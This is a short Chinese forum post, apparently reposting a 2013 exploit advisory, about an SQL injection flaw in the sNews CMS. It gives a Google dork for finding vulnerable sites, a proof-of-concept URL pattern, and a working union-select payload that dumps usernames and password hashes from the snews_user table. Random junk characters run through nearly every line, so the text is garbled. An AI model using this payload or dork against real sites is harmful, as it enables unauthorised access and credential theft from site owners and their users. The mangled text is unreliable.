标题: CMS snews SQL Injection Vulnerability3 W% g, E: @4 ~2 o) |0 n
作者: By onestree
2 u6 }. j4 c6 D J9 z8 P下载地址 : http://snewscms.com/: m" L' q! D( T9 y" i2 Q% e
测试平台 : ubuntu 12.10 / win 7, M5 `. K4 `! M) E
关键词: inurl:"tanyakan pada rumput yang bergoyang"& i, l- f9 ^; G) o
" V, @4 @0 l/ h% V, S& V 9 O0 C1 c8 w7 T8 G0 `% w# J
*************************************************************3 [; w' u& J, ^- q( A3 O
# J( q/ ?7 c2 N+ V+ I% F' ]
SQL poc:
( l* {+ y4 |; v. ^4 R/ q
8 Z2 n6 q2 q! @2 c/ ihttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]$ U9 ~( D2 h% f+ U% F
6 E. [* P, B9 V5 K示例3 t: c; T/ E" h9 P' f
9 U/ M" i& z/ V* u" b( J8 d$ Ahttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*) T- q5 J% `! p, j) L! N$ N0 ]! B
+ {+ z. R! N" \: c: Y! z- S* I
$ W, G' d8 U& X' d9 @致谢:* H2 q4 \1 h; C1 |( h; L
* }0 U9 i! b$ _ Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell F8 d/ `9 p" J
5 I+ k' x3 f3 p) I( y" e8 Q' H6 M! ~ indonesiancoder - moeslimh4x0r - go-coder
/ n$ y- I* e7 s: k) L 6 `# @2 N2 m, D! }" s6 e
spesial my hunny :*
1 E1 i: G# A1 g |
发表于 2013-1-23 08:55:06
收藏
支持
反对